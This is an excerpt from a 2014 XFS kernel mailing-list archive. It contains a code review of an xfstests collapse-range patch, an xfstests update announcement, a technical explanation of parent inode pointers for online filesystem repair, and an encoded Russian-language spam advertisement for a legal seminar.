Mon, 3 Feb 2014 19:49:35 -0800 (PST) X-ASG-Debug-ID: 1391485773-04bdf0121ee4bc0001-NocioJ Received: from mail-qc0-f172.google.com (mail-qc0-f172.google.com [209.85.216.172]) by cuda.sgi.com with ESMTP id GUmGuYz3I5lXJHE8 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 03 Feb 2014 19:49:34 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.172 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.172] Received: by mail-qc0-f172.google.com with SMTP id c9so12911891qcz.31 for ; Mon, 03 Feb 2014 19:49:33 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.172] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.172] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=2t+9bKGMqwaS5z2Bv3a04eivRhZtLBD2H+eGLhtJJEA=; b=K+/j/44VqCSwGL6CduV0lbUCbruvAjBpHG0L5GeTGfWTNz7v31Erl6oefDKUA9oG+W YSolA8w792La2XgwkQ5t2/JkBViNfCKFdHIna1NCVncPgED8LiQ7mUeo1HoeebatBkyu QBnYxx3iEuVnBQcgn0WfgxvzxjpMM4kC2Y24qoVqBpRYuAkNpROja26VzqthXyBUMYjb USU22DtIbMOHRPQbubDW971rOqorwitidyHJDfBQH/sScq6HiZy2FJejUPOd+Rj9tYVb WVIZ9C7YItFznXLFRsjxc5e53kLzw6jCuDzV7QDxSRJkPU6PnYJpQwdU+00nDsj79LhY bK/g== MIME-Version: 1.0 X-Received: by 10.224.167.84 with SMTP id p20mr62929417qay.24.1391485773256; Mon, 03 Feb 2014 19:49:33 -0800 (PST) Received: by 10.96.109.102 with HTTP; Mon, 3 Feb 2014 19:49:33 -0800 (PST) In-Reply-To: <20140203231737.GV13997@dastard> References: <1391319958-3275-1-git-send-email-linkinjeon@gmail.com> <20140203231737.GV13997@dastard> Date: Tue, 4 Feb 2014 12:49:33 +0900 Message-ID: Subject: Re: [PATCH RESEND 5/10] xfstest: shared/001: Standard collapse range tests From: Namjae Jeon X-ASG-Orig-Subj: Re: [PATCH RESEND 5/10] xfstest: shared/001: Standard collapse range tests To: Dave Chinner Cc: viro@zeniv.linux.org.uk, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Ashish Sangwan Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-qc0-f172.google.com[209.85.216.172] X-Barracuda-Start-Time: 1391485773 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144812 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 2014-02-04, Dave Chinner : > On Sun, Feb 02, 2014 at 02:45:58PM +0900, Namjae Jeon wrote: >> From: Namjae Jeon >> >> This testcase(001) tries to test various corner cases >> for fcollapse range functionality over different type of extents. >> >> Signed-off-by: Namjae Jeon >> Signed-off-by: Ashish Sangwan > > Couple of things: > >> -c "$map_cmd -v" $testfile | $filter_cmd >> [ $? -ne 0 ] && die_now >> _md5_checksum $testfile >> @@ -415,10 +425,10 @@ _test_generic_punch() >> if [ "$remove_testfile" ]; then >> rm -f $testfile >> fi >> - $XFS_IO_PROG -f -c "truncate 20k" \ >> - -c "$alloc_cmd 0 8k" \ >> - -c "pwrite 8k 8k" $sync_cmd \ >> - -c "$zero_cmd 4k 8k" \ >> + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ >> + -c "$alloc_cmd 0 $(($multiple * 8))k" \ >> + -c "pwrite $(($multiple * 8))k $(($multiple * 8))k" $sync_cmd \ >> + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 8))k" \ >> -c "$map_cmd -v" $testfile | $filter_cmd > Hi. Dave. > This is unreadable, and therefore I'd consider that these changes > render _test_generic_punch unmaintainable. > > Either it needs tobe factored to be more readable, or we need a more > readable way of representing the offsets and sizes if we want them > to be variable. For example: > > _4k="$((multiple * 4))k" > _8k="$((multiple * 8))k" > _20k="$((multiple * 20))k" > > leads to: > > $XFS_IO_PROG -f -c "truncate $_20k" \ > -c "$alloc_cmd 0 $_8k" \ > -c "pwrite $_8k $_8k" $sync_cmd \ > -c "$zero_cmd $_4k $_8k" \ > -c "$map_cmd -v" $testfile | $filter_cmd > > which is still readable and allows us to arbitrarily scale the > parameters. It even allows us to handle different filesystem block > sizes if we really want to.... Okay, I will change it as you suggest. > >> -c "$map_cmd -v" $testfile | $filter_cmd >> [ $? -ne 0 ] && die_now >> _md5_checksum $testfile >> >> + # If zero_cmd is fcollpase, don't check unaligned offsets >> + if [ "$zero_cmd" == "fcollapse" ]; then >> + if [ "$remove_testfile" ]; then >> + rm -f $testfile >> + rm -f $testfile.2 >> + fi >> + return >> + fi > > No need to remove the test files here - we remove them at > test startup to ensure we have a known initial state.... Okay. > >> +0: [0..63]: extent >> +bb7df04e1b0a2570657527a7e108ae23 >> + 13. data -> unwritten -> data >> +0: [0..63]: extent >> +0f0151cbed83e4bf6e5bde26e82ab115 >> + 14. data -> hole @ EOF >> +fallocate: Invalid argument >> +0: [0..159]: extent > > This error appears in all the golden outputs. If it's correct, then > perhaps it should be filtered out or commented somewhere to explain > why it is expected. Okay, I will add the comments to explain about this. Thanks for your review :) > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com > From david@fromorbit.com Mon Feb 3 22:15:36 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1DD5F7F51 for ; Mon, 3 Feb 2014 22:15:36 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 074F98F804C for ; Mon, 3 Feb 2014 20:15:32 -0800 (PST) X-ASG-Debug-ID: 1391487330-04cbb00c2ad2ef0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id p9ld1ONCrUzxLBTE for ; Mon, 03 Feb 2014 20:15:31 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhcUACxo8FJ5LGaB/2dsb2JhbABZgww4gwamBgOQDYZgF3SCZhw7JDQFJQM0iASdX7B8Fo8PghkPgXoEmCmSIoNBKA Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 04 Feb 2014 14:45:29 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WAXPv-0000h6-3S for xfs@oss.sgi.com; Tue, 04 Feb 2014 15:15:23 +1100 Date: Tue, 4 Feb 2014 15:15:23 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [ANNOUNCE] xfstests: updated to 4356e45 Message-ID: <20140204041523.GZ13997@dastard> X-ASG-Orig-Subj: [ANNOUNCE] xfstests: updated to 4356e45 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1391487330 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144812 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, The xfstests repository at git://oss.sgi.com/xfs/cmds/xfstests has just been updated. Patches often get missed, so please check if your outstanding patches were in this update. If they have not been in this update, please resubmit them to xfs@oss.sgi.com so they can be picked up in the next update. The new head of the master branch is commit: 4356e45 generic: inconsistent initial state for test_generic_punch New Commits: Dave Chinner (4): [586d190] xfs/199: enforce v4 superblock format for test [180adeb] xfs/291: fix spurious ENOSPC errors [9c5d298] generic: _test_generic_punch not blocksize clean [4356e45] generic: inconsistent initial state for test_generic_punch Filipe David Borba Manana (1): [1a258e9] xfstests: add test for btrfs incremental send data corruption Code Diffstat: common/punch | 19 +++++++--- tests/btrfs/034 | 101 ++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/034.out | 6 +++ tests/btrfs/group | 1 + tests/generic/255.out | 36 +++++++++++++----- tests/generic/316.out | 36 +++++++++++++----- tests/xfs/199 | 5 ++- tests/xfs/242.out | 7 +++- tests/xfs/252.out | 36 +++++++++++++----- tests/xfs/291 | 9 +++-- 10 files changed, 215 insertions(+), 41 deletions(-) create mode 100755 tests/btrfs/034 create mode 100644 tests/btrfs/034.out -- Dave Chinner david@fromorbit.com From gwehrman@sgi.com Mon Feb 3 23:38:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 017E67CBE for ; Mon, 3 Feb 2014 23:38:02 -0600 (CST) Received: from goalpost.americas.sgi.com (goalpost.americas.sgi.com [128.162.232.54]) by relay2.corp.sgi.com (Postfix) with ESMTP id D50C7304077; Mon, 3 Feb 2014 21:37:58 -0800 (PST) Received: by goalpost.americas.sgi.com (Postfix, from userid 14442) id 4853628C46; Mon, 3 Feb 2014 23:37:58 -0600 (CST) Date: Mon, 3 Feb 2014 23:37:58 -0600 From: Geoffrey Wehrman To: Dave Chinner Cc: Mark Tinguely , xfs@oss.sgi.com Subject: Re: [RFC 00/17] RFC parent inode pointers. Message-ID: <20140204053757.GA19307@sgi.com> References: <20140115220012.624438534@sgi.com> <20140116055607.GR3431@dastard> <52D99FD2.6000601@sgi.com> <20140118031247.GE18112@dastard> <52E6B67B.6070001@sgi.com> <20140128030040.GG2212@dastard> <20140128220230.GF13953@sgi.com> <20140204000944.GX13997@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140204000944.GX13997@dastard> User-Agent: Mutt/1.5.14 (2007-02-12) On Tue, Feb 04, 2014 at 11:09:44AM +1100, Dave Chinner wrote: | On Tue, Jan 28, 2014 at 04:02:30PM -0600, Geoffrey Wehrman wrote: | > On Tue, Jan 28, 2014 at 02:00:40PM +1100, Dave Chinner wrote: | > | On Mon, Jan 27, 2014 at 01:41:47PM -0600, Mark Tinguely wrote: | > | > 2) Add the filename to EA. Not a fan, but I will ask but if DMF needs it | > | > for performance then it has to be done. My point was this assumes | > | > that we can keep all the links' EA entries inline in the inode. A | > | > couple 255 character files or several links of modest sized filenames | > | > would negate that assumption. I tried to minimize the EA entries to | > | > keep them inline in the inode. I will talk to the DMF group. | > | | > | Actually, I made the point about DMF needing them inline performance | > | because that's an argument SGI might find persuasive. What I didn't | > | say just then is that *I* need them inline, too, as online directory | > | tree scrubbing needs to be able to do bulks scans, as does | > | xfs_repair. However, I have idefinitely said this before in previous | > | parent poitner discussions, so it should be no surprise here... | > | > I appologize in advance for my ignorance. What is "online directory | > tree scrubbing" and how does it benefit from parent inode pointers? | | It will be a kernel thread that walks the directory tree | periodically verifying that all inodes are reachable and that the | directory tree is intact. It's the same principle as RAID array | media scrubbing - proactive detection of errors that could cause | failures and repairing them before an error is delivered to the | application. The reason for wanting parent pointers is that it | enables immediate repair of most corruptions as the scrubbing | detects them without requiring duplicate copies of the metadata. | | IOWs, parent pointers are a fundamental part of bringing on-line | repair functionality to XFS. While parent pointers are not directly | mentioned in this document: | | http://xfs.org/index.php/Reliable_Detection_and_Repair_of_Metadata_Corruption | | There is a section on reverse mapping for used blocks and how to use | that for online repair of detected damage. Parent pointers provide | reverse mappings for the directory structure, and hence provide the | same functionality. Parent pointers also means that if we get an IO | error in a block in a file, we can identify the owner of the block | by full path and offset into the file where the error has | occurred... | | The v5 metadata format has an owner field in all metadata that has a | single parent object for keeping such parent information, and it is | intended for improving scrub-based validation and for identifying | the owner of lost metadata blocks to improve recover from errors. | i.e. reverse mapping is a one of the fundamental architectural | requirements underlying the v5 metadata changes. | | The two missing pieces are the parent pointers for directory | structure reverse mapping, and an AGF reverse mapping btree to | enable arbitrary block->owner lookups. I have prototype code for the | AGF rmap btree, and the parent pointers provide that functionality | for the directory structure. With both of these implemented, we will | be able to do fully-online filesystem metadata validity checking | equivalent to 'xfs_repair -n' or better..... | | Reverse block mapping and directory structure parent pointers have | been considered necessary for robust exception handling and online | repair since we first started thinking about the CRC metadata format | changes.... I understand now. Thanks for the detailed explanation! -- Geoffrey Wehrman 651-683-5496 gwehrman@sgi.com From 015_85@audioal.com Tue Feb 4 00:33:15 2014 Return-Path: <015_85@audioal.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.8 required=5.0 tests=FROM_STARTS_WITH_NUMS, HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 227E929DF8 for ; Tue, 4 Feb 2014 00:33:15 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1587F30406A for ; Mon, 3 Feb 2014 22:33:11 -0800 (PST) X-ASG-Debug-ID: 1391495585-04cbb00c28d6990001-NocioJ Received: from mail.geometria.ru (mail.geometria.ru [212.192.228.15]) by cuda.sgi.com with ESMTP id jMbCIftM2IC0IGFu for ; Mon, 03 Feb 2014 22:33:06 -0800 (PST) X-Barracuda-Envelope-From: 015_85@audioal.com X-Barracuda-Apparent-Source-IP: 212.192.228.15 Received: by mail.geometria.ru (Postfix, from userid 506) id CE5E0405E0; Tue, 4 Feb 2014 10:32:06 +0400 (MSK) Received: from Unknown (unknown [190.25.249.2]) by mail.geometria.ru (Postfix) with ESMTPA id 0083C40E7C; Tue, 4 Feb 2014 10:30:07 +0400 (MSK) Message-ID: Reply-To: =?windows-1251?B?z/Du9uXx8fPg6/zt7uUg7/Dg4u4=?= From: =?windows-1251?B?z/Du9uXx8fPg6/zt7uUg7/Dg4u4=?= <015_85@audioal.com> To: , , , Subject: =?windows-1251?B?z/Dg4uAg6CDu4f/n4O3t7vHy6CD25eTl7fLg?= =?windows-1251?B?IOgg9uXx8eju7eDw6P8=?= Date: Tue, 4 Feb 2014 07:30:16 +0100 X-ASG-Orig-Subj: =?windows-1251?B?z/Dg4uAg6CDu4f/n4O3t7vHy6CD25eTl7fLg?= =?windows-1251?B?IOgg9uXx8eju7eDw6P8=?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_19A0_01CF217A.F32B1F50" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Mail 6.0.6001.18416 X-MimeOLE: Produced By Microsoft MimeOLE V6.0.6001.18645 X-Barracuda-Connect: mail.geometria.ru[212.192.228.15] X-Barracuda-Start-Time: 1391495586 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144816 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. ------=_NextPart_000_19A0_01CF217A.F32B1F50 Content-Type: multipart/alternative; boundary="----=_NextPart_001_19A1_01CF217A.F32B1F50" ------=_NextPart_001_19A1_01CF217A.F32B1F50 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =CA=EE=ED=F1=F3=EB=FC=F2=E0=F6=E8=EE=ED=ED=EE=E5 =EC=E5=F0=EE=EF=F0=E8=FF= =F2=E8=E5 l=EE - l1 =F4=E5=E2=F0=E0=EB=FF, =D1=CF=E1: "=CA=EE=F0=EF=EE=F0= =E0=F2=E8=E2=ED=EE=E5 =EF=F0=E0=E2=EE. =C8=E7=EC=E5=ED=E5=ED=E8=FF =C3=F0= =E0=E6=E4=E0=ED=F1=EA=EE=E3=EE =EA=EE=E4=E5=EA=F1=E0 =D0=D4 2=CE1=D7. =CE= =F1=EE=E1=E5=ED=ED=EE=F1=F2=E8 =EE=F4=EE=F0=EC=EB=E5=ED=E8=FF =EF=F0=E0=E2= =ED=E0 =ED=E5=E4=E2. =E8=EC=F3=F9=E5=F1=F2=E2=EE". =CD=E5=EA=EE=F2=EE=F0=FB=E5 =F2=E5=EC=FB: =95 =CF=F0=E0=E2=EE =E7=E0=F1=F2=F0=EE=E9=EA=E8. =CF=F0=E0=E2=EE =F1=EE=E1= =F1=F2=E2=E5=ED=ED=EE=F1=F2=E8. =CE=F2=EA=E0=E7 =EE=F2 =EF=F0=E0=E2=E0 =F5= =EE=E7=FF=E9=F1=F2=E2=E5=ED=ED=EE=E3=EE =E2=E5=E4=E5=ED=E8=FF. =CF=F0=E0=E2= =EE =EE=EF=E5=F0=E0=F2=E8=E2=ED=EE=E3=EE =F3=EF=F0=E0=E2=EB=E5=ED=E8=FF. = =D1=E5=F0=E2=E8=F2=F3=F2=FB. =C2=EB=E0=E4=E5=ED=E8=E5 =E8 =E5=E3=EE =E7=E0= =F9=E8=F2=E0. =CD=EE=E2=E5=EB=EB=FB =E2=E5=F9=ED=FB=F5 =EF=F0=E0=E2 =ED=E0= =EE=E1=FA=E5=EA=F2=FB =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2=E8 =95 =C8=E7=EC=E5=ED=E5=ED=E8=FF =E2 =F0=E5=E3=F3=EB=E8=F0=EE=E2=E0=ED=E8=E8= =E3=F0=E0=E6=E4=E0=ED=F1=EA=E8=F5 =EF=F0=E0=E2=EE=EE=F2=ED=EE=F8=E5=ED=E8= =E9 =E2 =F1=F4=E5=F0=E5 =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2=E8 =95 =CF=F0=E8=ED=E8=EC=E0=E5=EC=FB=E5 =E8=E7=EC=E5=ED=E5=ED=E8=FF =C3=CA = =D0=D4 =95 =CA=EB=FE=F7=E5=E2=FB=E5 =E8=E7=EC=E5=ED=E5=ED=E8=FF =C3=F0=E0=E6=E4=E0= =ED=F1=EA=EE=E3=EE =EA=EE=E4=E5=EA=F1=E0 =D0=D4 =E2 2=CE1=D7 =E3. =CD=EE=E2= =FB=E9 =EF=EE=E4=F5=EE=E4 =EA =EE=E1=FA=E5=EA=F2=E0=EC =E3=F0=E0=E6=E4=E0= =ED=F1=EA=E8=F5 =EF=F0=E0=E2. =95 =CF=F0=E8=ED=FF=F2=FB=E5 =E8 =EF=EB=E0=ED=E8=F0=F3=E5=EC=FB=E5 =E8=E7= =EC=E5=ED=E5=ED=E8=FF, =E7=E0=F2=F0=E0=E3=E8=E2=E0=FE=F9=E8=E5 =EA=EE=F0=EF= =EE=F0=E0=F2=E8=E2=ED=FB=E5 =EE=F2=ED=EE=F8=E5=ED=E8=FF =E8 =EA=EE=F0=EF=EE= =F0=E0=F2=E8=E2=ED=EE=E5 =EF=F0=E0=E2=EE. =95 =CD=EE=E2=FB=E5 =EF=F0=E0=E2=E8=EB=E0 =F1=EE=E2=E5=F0=F8=E5=ED=E8=FF = =E8 =EE=E1=E6=E0=EB=EE=E2=E0=ED=E8=FF =F1=E4=E5=EB=EE=EA. =C8=E7=EC=E5=ED= =E5=ED=E8=FF =E2 =E2=E5=F9=ED=EE=EC =EF=F0=E0=E2=E5. =CD=EE=E2=EE=E5 =E2 = =EE=E1=E5=F1=EF=E5=F7=E5=ED=E8=E8 =E8=F1=EF=EE=EB=ED=E5=ED=E8=FF =EE=E1=FF= =E7=E0=F2=E5=EB=FC=F1=F2=E2 =C7=E0=EF=E8=F1=FC =ED=E0 =EA=EE=ED=F1=F3=EB=FC=F2=E0=F6=E8=EE=ED=ED=EE=E5= =EC=E5=F0=EE=EF=F0=E8=FF=F2=E8=E5 =EF=EE =F2=E5=EB=E5=F4=EE=ED=F3: +7 = < =EA=EE=E4 =CF=E8=F2=E5=F0=E0 > 6=F72 * 5.8 . 3l =C4=EB=FF =EA=EE=F0=EF=EE=F0=E0=F2=E8=E2=ED=FB=F5 =FE=F0=E8=F1=F2=EE=E2 =E8= =EF=F0=E5=E4=F1=F2=E0=E2=E8=F2=E5=EB=E5=E9 =EA=EE=EC=EF=E0=ED=E8=E9 =F1=F2= =F0=EE=E8=F2=E5=EB=FC=ED=EE=E3=EE =E1=E8=E7=ED=E5=F1=E0 =96 =EF=EE=E4=E0=F0= =EE=EA! =C4=EB=FF =E2=F1=E5=F5 =F3=F7=E0=F1=F2=ED=E8=EA=EE=E2 =F1=E5=EC=E8=ED=E0=F0= =E0: - =FD=EA=F1=EA=F3=F0=F1=E8=EE=ED=ED=E0=FF =EF=F0=EE=E3=F0=E0=EC=EC=E0; - =E5=E6=E5=E4=ED=E5=E2=ED=FB=E5 =EE=E1=E5=E4=FB =E8 =EA=EE=F4=E5-=E1=F0=E5= =E9=EA=E8. - =EE=E1=F3=F7=E5=ED=E8=E5 =EF=EE =EF=F0=EE=E3=F0=E0=EC=EC=E5 =F1=E5=EC=E8= =ED=E0=F0=E0 =F1 =E2=FB=E4=E0=F7=E5=E9 =D1=E5=F0=F2=E8=F4=E8=EA=E0=F2=E0; - =F1=E1=EE=F0=ED=E8=EA =E8=ED=F4=EE=F0=EC=E0=F6=E8=EE=ED=ED=EE-=EC=E5=F2= =EE=E4=E8=F7=E5=F1=EA=E8=F5 =EC=E0=F2=E5=F0=E8=E0=EB=EE=E2; ------=_NextPart_001_19A1_01CF217A.F32B1F50 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=CA=EE=ED=F1=F3=EB=FC=F2=E0=F6=E8=EE=ED=ED=EE=E5 =EC=E5=F0=EE=EF= =F0=E8=FF=F2=E8=E5=20 l=EE - l1 =F4=E5=E2=F0=E0=EB=FF,=20 =D1=CF=E1: "=CA=EE=F0=EF=EE=F0=E0=F2=E8=E2=ED=EE=E5 =EF=F0=E0=E2=EE. =C8=E7= =EC=E5=ED=E5=ED=E8=FF =C3=F0=E0=E6=E4=E0=ED=F1=EA=EE=E3=EE =EA=EE=E4=E5=EA= =F1=E0 =D0=D4=20 2=CE1=D7. =CE=F1=EE=E1=E5=ED=ED=EE=F1=F2=E8=20 =EE=F4=EE=F0=EC=EB=E5=ED=E8=FF =EF=F0=E0=E2 =ED=E0 =ED=E5=E4=E2. =E8=EC=F3= =F9=E5=F1=F2=E2=EE".
 
=CD=E5=EA=EE=F2=EE=F0=FB=E5 =F2=E5=EC=FB:
=95 =CF=F0=E0=E2=EE =E7=E0=F1=F2=F0=EE=E9=EA=E8. =CF=F0=E0=E2=EE= =F1=EE=E1=F1=F2=E2=E5=ED=ED=EE=F1=F2=E8. =CE=F2=EA=E0=E7 =EE=F2 =EF=F0=E0= =E2=E0 =F5=EE=E7=FF=E9=F1=F2=E2=E5=ED=ED=EE=E3=EE=20 =E2=E5=E4=E5=ED=E8=FF. =CF=F0=E0=E2=EE =EE=EF=E5=F0=E0=F2=E8=E2=ED=EE=E3=EE= =F3=EF=F0=E0=E2=EB=E5=ED=E8=FF. =D1=E5=F0=E2=E8=F2=F3=F2=FB. =C2=EB=E0=E4= =E5=ED=E8=E5 =E8 =E5=E3=EE =E7=E0=F9=E8=F2=E0.=20 =CD=EE=E2=E5=EB=EB=FB =E2=E5=F9=ED=FB=F5 =EF=F0=E0=E2 =ED=E0 =EE=E1=FA=E5= =EA=F2=FB =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2=E8
=95 =C8=E7=EC=E5=ED= =E5=ED=E8=FF =E2 =F0=E5=E3=F3=EB=E8=F0=EE=E2=E0=ED=E8=E8=20 =E3=F0=E0=E6=E4=E0=ED=F1=EA=E8=F5 =EF=F0=E0=E2=EE=EE=F2=ED=EE=F8=E5=ED=E8= =E9 =E2 =F1=F4=E5=F0=E5 =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2=E8
=95 = =CF=F0=E8=ED=E8=EC=E0=E5=EC=FB=E5 =E8=E7=EC=E5=ED=E5=ED=E8=FF=20 =C3=CA =D0=D4
=95 =CA=EB=FE=F7=E5=E2=FB=E5 =E8=E7=EC=E5=ED=E5=ED=E8= =FF =C3=F0=E0=E6=E4=E0=ED=F1=EA=EE=E3=EE =EA=EE=E4=E5=EA=F1=E0 =D0=D4=20 =E2 2=CE1=D7 =E3. =CD=EE=E2=FB=E9=20 =EF=EE=E4=F5=EE=E4 =EA =EE=E1=FA=E5=EA=F2=E0=EC =E3=F0=E0=E6=E4=E0=ED=F1=EA= =E8=F5 =EF=F0=E0=E2.
=95 =CF=F0=E8=ED=FF=F2=FB=E5 =E8 =EF=EB=E0=ED= =E8=F0=F3=E5=EC=FB=E5 =E8=E7=EC=E5=ED=E5=ED=E8=FF,=20 =E7=E0=F2=F0=E0=E3=E8=E2=E0=FE=F9=E8=E5 =EA=EE=F0=EF=EE=F0=E0=F2=E8=E2=ED= =FB=E5 =EE=F2=ED=EE=F8=E5=ED=E8=FF =E8 =EA=EE=F0=EF=EE=F0=E0=F2=E8=E2=ED=EE= =E5 =EF=F0=E0=E2=EE.
=95 =CD=EE=E2=FB=E5=20 =EF=F0=E0=E2=E8=EB=E0 =F1=EE=E2=E5=F0=F8=E5=ED=E8=FF =E8 =EE=E1=E6=E0=EB=EE= =E2=E0=ED=E8=FF =F1=E4=E5=EB=EE=EA. =C8=E7=EC=E5=ED=E5=ED=E8=FF =E2 =E2=E5= =F9=ED=EE=EC =EF=F0=E0=E2=E5. =CD=EE=E2=EE=E5 =E2=20 =EE=E1=E5=F1=EF=E5=F7=E5=ED=E8=E8 =E8=F1=EF=EE=EB=ED=E5=ED=E8=FF =EE=E1=FF= =E7=E0=F2=E5=EB=FC=F1=F2=E2
 
=C7=E0=EF=E8=F1=FC =ED=E0 =EA=EE=ED=F1=F3=EB=FC=F2=E0=F6=E8=EE=ED=ED= =EE=E5 =EC=E5=F0=EE=EF=F0=E8=FF=F2=E8=E5 =EF=EE =F2=E5=EB=E5=F4=EE=ED= =F3:=20 +7 < =EA=EE=E4 =CF=E8=F2=E5=F0=E0 > 6=F72 * 5.8 . 3l
 
=C4=EB=FF =EA=EE=F0=EF=EE=F0=E0=F2=E8=E2=ED=FB=F5 =FE=F0=E8=F1=F2=EE= =E2 =E8 =EF=F0=E5=E4=F1=F2=E0=E2=E8=F2=E5=EB=E5=E9 =EA=EE=EC=EF=E0=ED=E8=E9= =F1=F2=F0=EE=E8=F2=E5=EB=FC=ED=EE=E3=EE =E1=E8=E7=ED=E5=F1=E0 =96=20 =EF=EE=E4=E0=F0=EE=EA!
 
=C4=EB=FF =E2=F1=E5=F5 =F3=F7=E0=F1=F2=ED=E8=EA=EE=E2 =F1=E5=EC=E8=ED= =E0=F0=E0:
- =FD=EA=F1=EA=F3=F0=F1=E8=EE=ED=ED=E0=FF =EF=F0=EE=E3=F0=E0=EC=EC=E0= ;
- =E5=E6=E5=E4=ED=E5=E2=ED=FB=E5 =EE=E1=E5=E4=FB =E8 =EA=EE=F4=E5-=E1= =F0=E5=E9=EA=E8.
-=20 =EE=E1=F3=F7=E5=ED=E8=E5 =EF=EE =EF=F0=EE=E3=F0=E0=EC=EC=E5 =F1=E5=EC=E8=ED= =E0=F0=E0 =F1 =E2=FB=E4=E0=F7=E5=E9 =D1=E5=F0=F2=E8=F4=E8=EA=E0=F2=E0;- =F1=E1=EE=F0=ED=E8=EA=20 =E8=ED=F4=EE=F0=EC=E0=F6=E8=EE=ED=ED=EE-=EC=E5=F2=EE=E4=E8=F7=E5=F1=EA=E8= =F5 =EC=E0=F2=E5=F0=E8=E0=EB=EE=E2;
